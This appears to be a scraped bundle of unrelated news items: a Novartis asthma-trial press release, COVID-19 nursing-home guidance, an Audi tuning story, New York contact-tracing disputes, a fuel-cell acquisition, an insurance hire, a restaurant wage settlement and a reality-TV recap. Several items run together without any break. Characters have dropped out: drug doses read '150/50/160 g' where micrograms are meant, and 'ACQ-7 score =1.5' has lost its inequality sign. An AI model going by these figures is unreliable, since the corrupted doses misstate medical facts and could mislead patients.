In secondary analyses, improvements in asthma control (as measured by Asthma Control Questionnaire; ACQ-7 score [-0.124; p=0.004]) and lung function (as measured by trough FEV 1 [96 mL; p<0.001]) were seen with high-dose IND/GLY/MF compared with high-dose Sal/Flu plus Tio1. In additional exploratory analyses, improvements in health status (as measured by St. George's Respiratory Questionnaire; SGRQ [-2.00; p=0.04]), and peak expiratory flow (morning [9.56 L/min; p=0.005], evening [9.15 L/min; p=0.006]) were seen with high-dose IND/GLY/MF compared with high-dose Sal/Flu plus Tio1. A greater reduction in the rate of moderate exacerbations (43%; p=0.04) was seen with high-dose IND/GLY/MF versus high-dose Sal/Flu plus Tio; the rate of exacerbations across all severities was comparable between the two treatment groups1. Comparable efficacy in these endpoints was seen with medium-dose IND/GLY/MF versus high-dose Sal/Flu plus Tio, but at a corresponding lower steroid dose1. Adverse events were generally comparable across treatments1.

The ARGON study assessed IND/GLY/MF, a once-daily, fixed-dose combination of a long-acting beta 2 -agonist (LABA), a long-acting muscarinic antagonist (LAMA) and an inhaled corticosteroid (ICS) in high- (150/50/160 g) and medium- (150/50/80 g) doses, delivered via the Breezhaler, compared with a free combination of twice-daily high-dose Sal/Flu (50/500g) plus once-daily Tio (5 g) in patients with asthma not adequately controlled on current inhaled therapies, over 24 weeks of active treatment1.

To date, high-dose IND/GLY/MF has received a positive opinion from the European Medicines Agency's Committee for Medicinal Products for Human Use (CHMP); this submission was supported by the IRIDIUM study1,2. The positive opinion for Enerzair Breezhaler also covered a digital companion with app and sensor that provide inhalation confirmation, medication reminders and access to objective data to better support therapeutic decisions. Further regulatory reviews are currently underway in multiple countries, including Switzerland and Japan.

In keeping with the Novartis commitment to reduce the environmental impact of our asthma combinations, IND/GLY/MF will be available in the Breezhaler device which is hydrofluoroalkane/chlorofluorocarbon (HFA/CFC)-free.

About Uncontrolled Asthma

Asthma affects an estimated 358 million people worldwide and can cause a significant personal, health and financial burden when not adequately controlled3,4. Despite current therapy, over 40% of patients with asthma at Global Initiative for Asthma (GINA) Step 3, and over 45% at GINA Steps 4 and 5 remain uncontrolled5,6. Patients with uncontrolled asthma may downplay or underestimate the severity of their disease and are at a higher risk of exacerbation, hospitalization or death7,8,9. Barriers, such as treatment mismatch, safety issues with an oral corticosteroid and ineligibility for biologics, have created an unmet medical need in asthma10,11.

About Enerzair Breezhaler in the EU

The CHMP adopted a positive opinion recommending the approval of high-dose Enerzair Breezhaler (QVM149; IND/GLY/MF) 150/50/160 g once-daily as a maintenance treatment of asthma in adult patients not adequately controlled with a maintenance combination of a long-acting beta 2 -agonist (LABA) and a high dose of an inhaled corticosteroid (ICS) who experienced one or more asthma exacerbations in the previous year12. This formulation combines the bronchodilation of indacaterol acetate (a LABA) and the antimuscarinic effects of glycopyrronium bromide (a LAMA) with mometasone furoate (ICS) in a precise once-daily formulation, delivered via the dose-confirming Breezhaler device. Glycopyrronium bromide certain use and formulation intellectual property were exclusively licensed to Novartis in April 2005 by Sosei Heptares and Vectura. Mometasone furoate is exclusively licensed to Novartis from a subsidiary of Merck & Co., Inc, Kenilworth, NJ, USA, for use in IND/GLY/MF (worldwide excluding the US).

IND/GLY/MF will be administered via the dose-confirming Breezhaler device, which enables once-daily inhalation using a single inhaler. If approved, IND/GLY/MF will be the first asthma treatment in the EU that can be prescribed together with a digital companion; the Propeller Health app and a sensor custom-built for the Breezhaler device. The digital companion will provide patients with inhalation confirmation, medication reminders and access to objective data that can be shared with their physician in order to help them make better therapeutic decisions. The sensor for the Breezhaler device was developed by Propeller Health and is a CE marked Medical Device, designed and licensed to Novartis exclusively for use with the Breezhaler inhaler worldwide. The sensor includes a microchip, a microphone, Bluetooth capabilities, an antenna and a battery. The sensor does not alter the drug delivery characteristics of the Breezhaler inhaler itself but produces a recording of each administered dose. Based on the patient's recorded medication usage, personalized content is presented within the app to help the patient better self-manage their asthma.

About the PLATINUM Clinical Development Program

The PLATINUM program, containing over 7,500 patients worldwide, is the Novartis Phase III/IIIb clinical development program supporting the development of IND/GLY/MF and IND/MF. It includes four studies: the QUARTZ study, which compared a low-dose of IND/MF with MF alone; the PALLADIUM study, which compared IND/MF with MF and salmeterol xinafoate/fluticasone propionate (Sal/Flu); the IRIDIUM study, which compared IND/GLY/MF with IND/MF and Sal/Flu; and the ARGON study, which compared IND/GLY/MF with a free combination of Sal/Flu plus tiotropium (Tio).

About the ARGON study1

ARGON (NCT03158311) is a Phase IIIb, multicenter, randomized, 24-week, parallel-group, non-inferiority, open-label (blinded for the two IND/GLY/MF tested doses), active-controlled study comparing the efficacy and safety of IND/GLY/MF with a free combination of salmeterol xinafoate/fluticasone propionate (Sal/Flu) plus tiotropium (Tio) in patients with uncontrolled asthma.

The purpose of this trial was to demonstrate that the efficacy of two doses of the fixed-dose combination product IND/GLY/MF (high: 150/50/160 g and medium: 150/50/80 g) is non-inferior to the efficacy of the free combination of Sal/Flu (50/500 g) plus Tio (5 g) in patients with uncontrolled asthma.

All patients were symptomatic at screening despite treatment with medium- or high- stable doses of LABA/ICS as defined by Asthma Control Questionnaire (ACQ-7) score =1.5.

Approximately 1,251 male and female patients with uncontrolled asthma (aged 18 and above) were randomized 1:1:1 (approximately 417 patients in each of the treatment groups) to receive either:

IND/GLY/MF 150/50/80 g (once-daily)

IND/GLY/MF 150/50/160 g (once-daily)

Open label Sal/Flu 50/500 g (twice-daily) delivered via Diskus plus Tio delivered via Respimat

The primary objective of this study was to demonstrate non-inferiority of both high-dose IND/GLY/MF and medium-dose IND/GLY/MF to comparator Sal/Flu plus Tio after 24 weeks of treatment based on Asthma Quality of Life Questionnaire (AQLQ).

Secondary objectives included:

To evaluate efficacy of high-dose IND/GLY/MF and medium-dose IND/GLY/MF compared with Sal/Flu plus Tio based on trough FEV 1 after 24 weeks of treatment.

after 24 weeks of treatment. To evaluate efficacy of high-dose IND/GLY/MF and medium-dose IND/GLY/MF compared with Sal/Flu plus Tio based on Asthma Quality of Life Questionnaire (AQLQ) over 24 weeks of treatment.

To evaluate efficacy of high-dose IND/GLY/MF and medium-dose IND/GLY/MF compared with Sal/Flu plus Tio based on ACQ-7 over 24 weeks of treatment.

To evaluate efficacy of high-dose IND/GLY/MF and medium-dose IND/GLY/MF compared with Sal/Flu plus Tio based on lung function over 24 weeks of treatment.

Disclaimer

This press release contains forward-looking statements within the meaning of the United States Private Securities Litigation Reform Act of 1995. Forward-looking statements can generally be identified by words such as "potential," "can," "will," "plan," "may," "could," "would," "expect," "anticipate," "seek," "look forward," "believe," "committed," "investigational," "pipeline," "launch," or similar terms, or by express or implied discussions regarding potential marketing approvals, new indications or labeling for the investigational or approved products described in this press release, or regarding potential future revenues from such products. You should not place undue reliance on these statements. Such forward-looking statements are based on our current beliefs and expectations regarding future events, and are subject to significant known and unknown risks and uncertainties. Should one or more of these risks or uncertainties materialize, or should underlying assumptions prove incorrect, actual results may vary materially from those set forth in the forward-looking statements. There can be no guarantee that the investigational or approved products described in this press release will be submitted or approved for sale or for any additional indications or labeling in any market, or at any particular time. Nor can there be any guarantee that such products will be commercially successful in the future. In particular, our expectations regarding such products could be affected by, among other things, the uncertainties inherent in research and development, including clinical trial results and additional analysis of existing clinical data; regulatory actions or delays or government regulation generally; global trends toward health care cost containment, including government, payor and general public pricing and reimbursement pressures and requirements for increased pricing transparency; our ability to obtain or maintain proprietary intellectual property protection; the particular prescribing preferences of physicians and patients; general political, economic and business conditions, including the effects of and efforts to mitigate pandemic diseases such as COVID-19; safety, quality, data integrity or manufacturing issues; potential or actual data security and data privacy breaches, or disruptions of our information technology systems, and other risks and factors referred to in Novartis AG's current Form 20-F on file with the US Securities and Exchange Commission. Novartis is providing the information in this press release as of this date and does not undertake any obligation to update any forward-looking statements contained in this press release as a result of new information, future events or otherwise.

About Novartis

Novartis is reimagining medicine to improve and extend people's lives. As a leading global medicines company, we use innovative science and digital technologies to create transformative treatments in areas of great medical need. In our quest to find new medicines, we consistently rank among the world's top companies investing in research and development. Novartis products reach nearly 800 million people globally and we are finding innovative ways to expand access to our latest treatments. About 109,000 people of more than 145 nationalities work at Novartis around the world. Find out more at https://www.novartis.com (https://www.novartis.com).

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References

1. Gessner C et al. Fixed-dose combination of indacaterol/glycopyrronium/mometasone furoate once-daily versus salmeterol/fluticasone twice-daily plus tiotropium once-daily in patients with uncontrolled asthma: A randomised, Phase IIIb, non-inferiority study (ARGON). Resp Med 2020;106021. DOI: https://doi.org/10.1016/j.rmed.2020.106021.

2. CHMP Opinion - Enerzair Meeting highlights from the Committee for Medicinal Products for Human Use (CHMP) 28-30 April 2020. Available at: https://www.ema.europa.eu/en/news/meeting-highlights-committee-medicinal-products-human-use-chmp-28-30-april-2020 (https://www.ema.europa.eu/en/news/meeting-highlights-committee-medicinal-products-human-use-chmp-28-30-april-2020). Last accessed June 2020.

3. GBD Chronic Respiratory Disease Collaborators. Global, regional, and national deaths, prevalence, disability-adjusted life years, and years lived with disability for chronic obstructive pulmonary disease and asthma. 2017. Available at: https://doi.org/10.1016/S2213-2600(17)30293-X (https://doi.org/10.1016/S2213-2600(17)30293-X). Last accessed June 2020.

4. AAFA. My Life With Asthma Survey Findings Report. Available at: https://www.aafa.org/media/1684/my-life-with-asthma-in-2017-survey-findings-report.pdf (https://www.aafa.org/media/1684/my-life-with-asthma-in-2017-survey-findings-report.pdf) Last accessed June 2020.

5. Chung KF et al. International ERS/ATS guidelines on definition, evaluation and treatment of severe asthma. Eur Respir J 2014;43(2):343-73.

6. Fang J et al. Demographic, clinical characteristics and control status of pediatric, adolescent, and adult asthma patients by GINA Step in a US longitudinal cohort. Am J Resp Crit Care Med 2018;197:A1903

7. Peters SP et al. Uncontrolled asthma: a review of the prevalence, disease burden and options for treatment. Respir Med 2006;100(7):1139-1151.

8. Katsaounou P et al. Still Fighting for Breath: a patient survey of the challenges and impact of severe asthma. ERJ Open Res 2018;4(4):00076-2018.

9. Price D et al. Asthma control and management in 8,000 European patients: the REcognise Asthma and Link to Symptoms and Experience (REALISE) survey. NPJ Prim Care Respir Med 2014;24:14009.

10. Price D, et al. Adverse outcomes from initiation of systemic corticosteroids for asthma: long-term observational study. J Asthma Allergy 2018;11:193-204.

11. Albers FC et al. Biologic treatment eligibility for real-world patients with severe asthma: The IDEAL study. J Asthma 2018;55(2):152-160.

12. EMA. Enerzair Breezhaler. Available at: https://www.ema.europa.eu/en/medicines/human/summaries-opinion/enerzair-breezhaler (https://www.ema.europa.eu/en/medicines/human/summaries-opinion/enerzair-breezhaler). Last accessed June 2020.

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Among the recommendations were the creation of COVID-specific units, screenings of residents twice daily, discontinuing of drug delivery modes (e.g. nebulizers) that might spread the virus, and reviews with patients and families of do-not-intubate and do-not-hospitalize advance directives.

"The scope and speed of the COVID-19 pandemic brought continual changes in healthcare protocols as providers learned more about the disease's transmission," said Paula Lester, MD, FACP, CMD, a geriatrician at NYU Winthrop Hospital and the corresponding author of the consensus recommendations, which were recently published online in Journal of American Medical Directors Association (JAMDA).

"The time has come to consolidate our learnings as a field in terms of caring for at-risky elderly and implement uniform, best practices, especially as we prepare for a potential second wave of infections in the coming months, as well as for future pandemics," adds Lester, who along with her co-authors, serves as a skilled nursing facility (SNF) certified medical director.

Recommended protocols for facility staff also include COVID testing on a serial basisthree tests one-week apartto enable identification of newly infected staff. Also recommended is to have staff assigned to specific units to permit easier contact tracing in the event of COVID cases, and to have staff that are assigned to COVID-19 units not work elsewhere in the facility.

The report also states that the authors "do not support the mandatory admission of COVID-19 patients from hospitals to nursing homes as it may force unprepared facilities to provide care to COVID patients without the necessary resources or precautions."

The consensus guidelines in the report  titled "Policy Recommendations Regarding Skilled Nursing Facility Management of COVID-19: Lessons From New York State"  are endorsed by the Executive Board of the New York Medical Directors Association and the Board of the Metropolitan Area Geriatrics Society. The authors noted, however, that the suggestions in the report should not take precedence over local Department of Health or Centers for Disease Control recommendations.

About NYU Winthrop Hospital

NYU Winthrop Hospital is the Long Island division of NYU Langone Health and is ranked by U.S. News & World Report as one of the top-10 New York metro-area hospitals. The medical center, founded in 1896, is an ACS Level 1 Trauma Center. The hospital features more than 75 divisions of specialty care, offering comprehensive inpatient and outpatient programs and services to address every stage of life. NYU Winthrop also has a Research Institute that conducts robust studies that are helping to shape the future of medicine. The hospital blends the progressive philosophy of a teaching and research institution with a personal approach to patient care that is the cornerstone of the organization.

Contact:

Anne Kazel-Wilcox, Manager, Public Relations

NYU Winthrop Hospital

(516) 493-2135; [email protected]

SOURCE NYU Langone Health




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German tuner Wheelsandmore lived up to its name by nudging the RS Q8, Audi's quickest SUV, beyond the 1,000-horsepower threshold. Called Goliath, it's so extreme that it's not street-legal in its home country.

In its most powerful configuration, Wheelsandmore's Goliath boasts an evolution of the stock twin-turbocharged, 4.0-liter V8 that develops 1,010 horsepower and 922 pound-feet of torque, though the latter figure is electronically limited to ensure the drivetrain doesn't get torn apart. Achieving these numbers required making a long list of modifications like tweaking the ECU, fitting bigger turbochargers, and installing a freer-flowing (read: really loud) exhaust system unobstructed by particulate filters and, for the most part, silencers. Only the rear mufflers remain.

The standard, 591-horsepower RS Q8 takes 3.8 seconds to reach 60 mph from a stop, and it's the fastest SUV around the Nurburgring track in Germany. Adding 419 horses to the equation undoubtedly makes it quicker, but Wheelsandmore hasn't published acceleration figures. It did note that, due in part to the exhaust upgrades, the Goliath isn't street-legal in the European Union because it doesn't comply with emissions regulations. It's best suited to living life a quarter-mile at a time on the drag strip, or to countries with looser standards.

Wheelsandmore also offers a smartphone-controlled air suspension said to be extremely easy to install, and, as you'd expect, new-look wheels. It had to purchase a special machine to manufacture 24-inch alloys. They're available in several colors, and they're wrapped by the kind of tires normally found under a supercar.

Four additional tuning packages are available if 1,010 horsepower is too much, or if you need to keep your RS Q8 street-legal. They range from a relatively simple software optimization that bumps the eight-cylinder's output to 710 horsepower to a 965-horsepower bundle that won't draw the ire of regulators in Europe. Pricing starts at 2,500, which represents approximately $2,800, but ticking all of the boxes will set buyers back by 49,900, or about $56,400 at the current conversion rate. Put another way, that's $135 per additional horsepower.

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ALBANY  Numerous county officials across upstate New York said a new contact-tracing program used by the state to pinpoint incidences of COVID-19 has glitches, and many municipalities are opting to break away from the state's plan and instead use their own systems.

The widening mutiny grew animated Thursday evening during a statewide conference call involving county health leaders, including many who have raised questions about the reliability of the software program developed by CommCare, a company retained by the state, and the counties' ability to maintain control of their own tracing efforts.

Some county leaders also said they will try to use the state's program  but if there are glitches or if the state tries to direct and control their county workforce, they will drop out.

Saratoga County on Friday became one of the latest counties to say it would opt out of the program.

"The system that we have in place better suits our needs," Catherine Duncan, the county's public health director, said in a statement.

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Maryfran Wachunas, Rensselaer County's public health director, also sent an email to the state Department of Health on Friday outlining her office's concerns about the reliability of the state's contact-tracing platform and indicating the county will continue with its own program, which she described as "the most comprehensive effort in the region."

Wachunas' email added that the conference call Thursday involving members of the New York State Association of County Health Officials revealed "all the problems that other counties are having with the new system."

"It was also reported to me that many counties are opting out," Wachunas wrote. "CommCare does not seem to be ready to operate with efficiency and accuracy. The surveillance of communicable diseases and contact tracing are too important and vital to the safety of our residents to have a system that could cause harm if it does not run properly."

The contact-tracing program involves tracking down and alerting people who may have been exposed to someone infected with COVID-19. In some instances, that work can be done quickly, but in cases in which someone may have attended a large gathering or used public transportation, the tracing can be cumbersome.

Gov. Andrew M. Cuomo has said the contact tracing program is integral to reopening New York's economy safely, including quickly identifying and containing any potential coronavirus hot spots that may emerge.

"Once you trace, and you find more positives, then you isolate the positives  they're under quarantine, they can't go out, they can't infect anybody else," Cuomo said on April 22, when he announced that the Bloomberg School of Public Health at Johns Hopkins University would build a curriculum and training program for an "army" of contact tracers.

"This entire operation has never been done before," Cuomo said in that briefing. "So, it's intimidating. You've never heard the words 'testing, tracing, isolate' before. No one has. It's what we have to do now. We've put together armies before. Never a tracing army, but we can put together people, we can organize, we can train, and we can do it."

But it's not a new endeavor for many county health departments, which have had contact-tracing programs in place for years to deal with outbreaks of infectious diseases, including tuberculosis and hepatitis.

Paul M. Wendel, Jr., the Chautauqua County executive, on Friday confirmed that his county is not participating in the state program and has been handling its contact-tracing duties without any issues.

"The information is that CommCare was not designed to do disease investigation, and were trying to implement ... a new means of contact tracing in the midst of a pandemic," Wendel said. "And quite frankly, our staff has been doing an exemplary job of contact tracing."

Larry Schwartz, a Cuomo adviser who is overseeing the development of the contact-tracing project for the governor, on Friday afternoon said he knows the platform has had "glitches" but added that he was not aware that any counties are seeking to opt out of program. Schwartz said he had been on the phone with the state Health Department three times on Friday and "this was the first time I've heard this."

"We wanted to have a unified system for the entire state," Schwartz said. "Im aware that theres been some frustrations, but were working through them with the counties."

Chautauqua County, a rural community that borders Lake Erie southwest of Buffalo, has also had just 99 confirmed coronavirus cases and no more than 21 active cases at one time. It also has a large Amish population, whose community members do not use telephones or computers.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

"How is somebody from Long Island or Queens or the Bronx going to be able to contact an Amish family in Chautauqua County?" Wendel said. "We dont have '1-800-AMISH.' ... We have ways to contact trace with them through our channels and through communication and through good relationships. Somebody on the phone wont be able to get them, and they will be extremely reluctant to rely on somebody that they do not know.

Wendel said that during a recent briefing he was also informed that the CommCare platform, which is running behind schedule, has "glitches" and has not been accessible.

"Were going to continue to do what were doing, because it's doubling the work and its not effective," Wendel said. "Its not helping our contact tracing, not at all."

Ulster County Executive Pat Ryan said he also has serious concerns about the CommCare contact-tracing system.

"Were doing everything we can to make this new system work, but Im concerned right now that its not ready yet  and and were obviously now into the reopening and we need something that works now," Ryan said. "Weve proven our ability to do this at the county level ourselves already for the last several months."

Dutchess County Executive Marc Molinaro said he plans to use the state's system, but will pull out if the state tries to control his county employees.

"It is a little clunky ... and offhand our concern has been were not participating in this so that (the Cuomo administration) can direct our resources," Molinaro said. "Were skeptically engaged with the understanding, however, that well use the states tool, but were still directing our people and if that isnt honored then, yeah, we have similar hesitation. ... Were not playing that game."

Schwartz, a former secretary to Cuomo, said it's imperative that counties participate in the program so that the state can monitor the coronavirus cases, and any outbreaks, in real time. He said the contact tracers being hired by the state would be used to back up counties if their employees doing that work now have to return to their prior government jobs as reopening continues.

"It's only a few weeks old and like any piece of new technology, there's always little, kind-of glitches and also each county's learning how to use it for the first time," Schwartz said. "It's not unnatural for someone to say I feel uncomfortable with the new system ... why can't I just stick with the old system."

Schwartz said regional state teams are helping respond to county officials' concerns or any problems with the online dashboard developed by CommCare.

"When you're working with anything new you've got to go through a learning curve," he said. "Different counties were using different case-management systems and for the state Health Department and the governor's office to track such a serious pandemic we need everybody on the same system. It's really critical from a metrics' standpoint ... to know that we're contacting positive cases in 24 hours and reaching their contacts in 48 hours and making sure they get tested within 72 hours."

He added that it's his hope that the concerns from some counties are about the system, and not that the state Health Department "can look at what they're doing."

"This is not a gotcha game," he said. "This is a public health issue."

Sarah Ravenhall, the executive director state Association of County Health Officials issued a statement late Friday they "are aware of the various system issues that exist within the contact tracing software and are working hand in hand with partners at the New York state Department of Health to communicate and resolve these issues."

"County public health leaders have a great deal of expertise in contact tracing. They have been doing it for decades, and they know what tools work best for them," Ravenhall said. "So many naturally will select the system that works best in their county to ensure high quality of the tracing services they provide."
HIGHLIGHTS

Fuel cells are clean energy alternative to fossil fuels

h2e Power makes Solid Oxide Fuel Cells (SOFC) for residential, industrial and commercial applications

To build large manufacturing capacity in Pune for India and global markets

Acquisition to expand the Hexis product portfolio to applications in agriculture, oil & gas and telecom

Acquisition to create a global footprint, h2e already has base in the US and Germany, besides Pune

Pune based Poonawalla Group backed Indian clean-tech startup h2e Power has acquired Swiss fuel cell specialist Hexis AG. The deal has been closed through its German subsidiary mPower GmbH from the German climate and energy solutions focussed Viessmann Group. The company didn't disclose the deal amount.

The acquisition is to create a global footprint and produce zero emission power generators from Pune and to create an India owned global fuel cell and green hydrogen company. Plans are to build large manufacturing capacity in Pune for the Indian and global markets, said Adar Poonawalla, chairman, h2e Power Systems.

"We will create a global footprint and locally produce zero emission power generators in Pune and intend to reach every home, every commercial establishment and every city with our hydrogen and fuel cell technologies," said Poonawalla.

The fuel cell technology is considered to be a clean energy alternative to fossil fuels for the future, with high volume manufacturing possibilities and less cost of production. h2e Power makes Solid Oxide Fuel Cells (SOFC), a type of fuel cells that generates clean power and has a wide variety of residential, industrial and commercial applications, with outputs varying from few watts to megawatt (MW).

SOFC uses a solid oxide electrolyte to conduct negative oxygen ions from the cathode to the anode. It causes electrochemical oxidation of the oxygen ions with hydrogen or carbon monoxide to create energy. These are at very high temperatures, typically between 700 and 900 degrees Celsius can be channelised as energy. Additionally, the system can be used in Solid Oxide Electrolyser (SOEC) mode to produce green hydrogen, which can be stored easily like in a battery.

h2e subsidiary mPower based in Dresden, Germany, commercialises the high temperature SOFC stacks under global exclusive license from Fraunhofer Institute (IKTS) using ceramic components.

Siddharth R Mayur, founder and managing director of h2e Power said apart from the real estate, commercial and green hydrogen markets, the acquisition will help the company expand the Hexis product portfolio to applications in agriculture, oil & gas and telecom.

Terms of the acquisition also include future cooperation with Viessmann group for the supply of SOFC fuel cell modules for heating applications in individual homes and commercial establishments in the European markets. The Viessmann group is one of the largest integrators of heating systems in Europe.

h2e Power Systems was founded in 2011 by social entrepreneur Siddharth R Mayur along with Amar Chakradeo, and Bhavana S Mayur to produce and integrate futuristic fuel cell systems for residential construction, energy engineering, agriculture and waste management.

Also read: Coronavirus crisis: Cash-strapped Finance Ministry says no new schemes till March 2021

Also read: Biocon's founder Kiran Mazumdar-Shaw named 'Entrepreneur Of The Year'
Zurich Insurance Group has added Nicole Yates to its commercial insurance accident and health (A&H) underwriting roster to serve as head of A&H in Australia.

Yates, who was an A&H senior underwriting manager at Zurich Australia from 2010 to 2016 before moving to another firm, has returned to join the team in Melbourne. Prior to coming back, she led AXA XLs Australian and New Zealand wholesale and retail A&H business.
Burma Superstar employees have won $1.3 million in a class-action settlement against the owner for unfair wages.

The Alameda Superior Court approved the settlement on Tuesday following a class-action suit that was first filed in 2016. The settlement included staff from Burma Superstar, Burma Love, and B star restaurants across SF, Oakland and Alameda.

In 2016, Burma Superstar kitchen staff alleged that restaurant owners Desmond Tan and Jocelyn Lee paid less than minimum wage, withheld overtime pay, failed to provide sick leave, did not provide sufficient meal and rest breaks, and unlawfully retaliated against employees.

In addition, the lawsuit indicated that tips were not given to back-of-house employees.

ALSO: In-N-Out sues insurer for denying COVID-19 claims

At the time, the owners called the allegations frivolous and false. A spokesman for the restaurant predicted that the owners would be, totally exonerated and will prevail in court, the San Francisco Chronicle reported in 2016.

Following the settlement, the class, represented by Asian Law Caucus (ALC), Centro Legal de la Raza, and Legal Aid at Work, will have all tips, holidays and time off benefits restored. The owners have agreed to also and establish designated rest area for employees at each of their restaurants, according to Legal Aid at Work.

Additionally, employee handbooks and workplace rules will be translated into Burmese, Spanish and Chinese and meal period waivers will also be revised.

ALSO: These Bay Area restaurants are changing formats permanently

These are the frontline workers who risk their own health and safety to provide essential services for all of us, and today they came together and proudly stood up for the rights of workers everywhere, Jesse Newmark, Litigation Director for Centro Legal de la Raza, said in a statement.

In a statement to The Chronicle on Wednesday, Tan upheld the belief that the allegations were untrue and indicated that the business was dedicated to the well-being of its staff.

While we strongly disagreed with the allegations in the class-action lawsuit, we settled the lawsuit in order to move on, Tan told The Chronicle. These are challenging times for all restaurants, but we know that we will get through it with the support of our community and our dedicated employees, who have been a huge part of our success.

Susana Guerrero is a food reporter at SFGATE. Email: Susana.Guerrero@sfgate.com | Twitter: @SusyGuerrero3
Jenni 'JWoww' Farley was devastated after DJ Pauly D rejected her again on Thursday's episode of Jersey Shore: Family Vacation.

The two of them had flirted up a storm at Angelina Pivarnick's bachelorette party in New Orleans, with Pauly, 39, telling everyone he wanted to have sex with Jenni, 34.

Everyone wanted the hook-up to happen, and Jenni herself seemed interested, telling Nicole 'Snooki' Polizzi, 32, that she hoped to fool around with Pauly at Angelina's wedding.

Rejected: Jenni 'JWoww' Farley was devastated after DJ Pauly D rejected her again on Thursday's episode of Jersey Shore: Family Vacation

Flirting: The two of them had flirted up a storm at Angelina Pivarnick's bachelorette party in New Orleans, with Pauly, 39, telling everyone he wanted to have sex with Jenni, 34

Wedding: Everyone wanted the hook-up to happen, and Jenni herself seemed interested, telling Nicole 'Snooki' Polizzi, 32, that she hoped to fool around with Pauly at Angelina's wedding

But as the day approached, Pauly grew cold, deliberately ignoring the signals Jenni was sending out and keeping her at arm's length during a rehearsal dinner.

It was the second time she'd been shut down by her old friend, who had previously denied her advances after an evening out in New York City.

'Are you guys gonna slow-dance?' Vinny Guadagnino, 32, asked Jenni as the Jersey Shore cast sat at the dinner table. 'You and Pauly?'

Cold Pauly: But as the day approached, Pauly grew cold, deliberately ignoring the signals Jenni was sending out and keeping her at arm's length during a rehearsal dinner

Slow dance: 'Are you guys gonna slow-dance?' Vinny Guadagnino, 32, asked Jenni as the Jersey Shore cast sat at the dinner table. 'You and Pauly?'

'I feel like he wants to run away at this point,' Jenni said, her face downcast.

'I need to go the f*** home, and cry myself to sleep over this,' she told the cameras, getting up and leaving the room.

To Nicole, Jenni admitted, 'I'm going home to have sex. With myself.'

Run away: 'I feel like he wants to run away at this point,' Jenni said, her face downcast

Cry: 'I need to go the f*** home, and cry myself to sleep over this,' she told the cameras, getting up and leaving the room

It had already been a rough few days for Jenni, who felt sure that Angelina's psychic grandmother, Grandma Angelina, might have put a 'hex' on her.

When they met for the first time, the woman rebuffed her friendly greeting, stared daggers at her, and later suggested she was a false friend to her granddaughter.

'Angelina's grandma gave me a look, and I feel off,' Jenni confessed, telling Nicole, 'I feel the weight of her right now, on my back.'

Grandma hex: It had already been a rough few days for Jenni, who felt sure that Angelina's psychic grandmother, Grandma Angelina, might have put a 'hex' on her

False friend: When they met for the first time, the woman rebuffed her friendly greeting, stared daggers at her, and later suggested she was a false friend to her granddaughter

As the two pals drove toward the rehearsal dinner, Jenni admitted that she was looking forward to seeing Pauly, saying she had finally decided to hook up with him.

But when Pauly showed up at their hotel and they saw each other for the first time in weeks, he gave her a 'weird vibe' that suggested he was no longer interested.

To try to make something happen, Nicole shoved Jenni straight into Pauly, and she almost knocked him over, but he then re-established an awkward distance between them.

Admitted: As the two pals drove toward the rehearsal dinner, Jenni admitted that she was looking forward to seeing Pauly, saying she had finally decided to hook up with him

Weird vibe: But when Pauly showed up at their hotel and they saw each other for the first time in weeks, he gave her a 'weird vibe' that suggested he was no longer interested

Awkward: To try to make something happen, Nicole shoved Jenni straight into Pauly, and she almost knocked him over, but he then re-established an awkward distance between them

By contrast, when Angelina, 33, arrived to meet everyone for dinner, she merely tripped in front of Vinny and ended up somehow grazing his 'package.'

'It's almost like God wanted that to happen,' said Angelina, with whom Vinny had long flirted.

At dinner, the gang remembered that the year before, they had all teased Angelina and her fiance Chris Larangeira, 42, about getting married.

Package: By contrast, when Angelina, 33, arrived to meet everyone for dinner, she merely tripped in front of Vinny and ended up somehow grazing his 'package'

Teased: At dinner, the gang remembered that the year before, they had all teased Angelina and her fiance Chris Larangeira, 42, about getting married

'Kiss! Kiss! Kiss!' they chanted, urging the couple to make out, as Angelina ducked her head.

'Angelina's acting all shy, like she can't kiss Chris in public,' Vinny reflected. 'You grabbed my d*** in the lobby 10 minutes ago. You can't kiss your husband?'

Angelina joked about wanting to 'blow' Vinny, while Chris teased Angelina about her inability to cook and clean like his mother, and the cast laughed again.

Kiss: 'Kiss! Kiss! Kiss!' they chanted, urging the couple to make out, as Angelina ducked her head

Teased: Angelina joked about wanting to 'blow' Vinny, while Chris teased Angelina about her inability to cook and clean like his mother, and the cast laughed again

Through it all, Jenni felt the eyes of Grandma Angelina upon her, as the woman had turned around in her seat to stare at her from a nearby table.

'Look at her looking at me,' Jenni whispered to Nicole through gritted teeth.

Nicole told Pauly to 'save Jenni' from the woman, but Pauly barely responded.

Grandma: Through it all, Jenni felt the eyes of Grandma Angelina upon her, as the woman had turned around in her seat to stare at her from a nearby table

In a confessional, he shut down the idea that he and Jenni would get romantic.

'Maybe in a different world, me and Jenni would have hooked up, if it was earlier on,' Pauly privately surmised. 'But it's too deep now. It's ten years of friendship that I would never ruin.'

Pauly said he respected Jenni 'too much to do some sort of casual hook-up,' and he wasn't worried about the fallout from his decision.

'I think we're fine,' he shared. 'I really do believe we're on the same page.'

Shut down: In a confessional, he shut down the idea that he and Jenni would get romantic

Jenni told the cameras it felt like she and Pauly had lost their connection, which made her sad.

After dinner, the Jersey Shore men went to their hotel to practice a dance for Angelina's wedding, set to Sir Mix-A-Lot's Baby Got Back.

As part of their act, they would be jumping out of a giant imitation Tiffany's box, which turned out to be so large, a crane had to carry it around to the back of the venue.

Sad: Jenni told the cameras it felt like she and Pauly had lost their connection, which made her sad

Dance: After dinner, the Jersey Shore men went to their hotel to practice a dance for Angelina's wedding, set to Sir Mix-A-Lot's Baby Got Back

Box: As part of their act, they would be jumping out of a giant imitation Tiffany's box, which turned out to be so large, a crane had to carry it around to the back of the venue

While her pals danced, Angelina decided to get some sleep, telling Chris, 'If you don't make it [tomorrow], I'm gonna bury you.'

The day of the wedding, Jenni became seriously concerned about Grandma Angelina.

'She cursed me so good that now my dreams are even cursed,' Jenni fretted, telling pals she'd dreamt the night before about losing four teeth and running around L.A. in a panic.

Sleep: While her pals danced, Angelina decided to get some sleep, telling Chris, 'If you don't make it [tomorrow], I'm gonna bury you'

Worried: The day of the wedding, Jenni became seriously concerned about Grandma Angelina

Dreams of losing teeth were associated with feelings of 'powerless,' she read online.

Jenni told Angelina about the dream, and Nicole asked if Grandma Angelina had hexed Jenni.

'Grandma, did you hex her?' Angelina asked her nonna, who was sitting quietly in a corner.

Dreams: Dreams of losing teeth were associated with feelings of 'powerless,' she read online

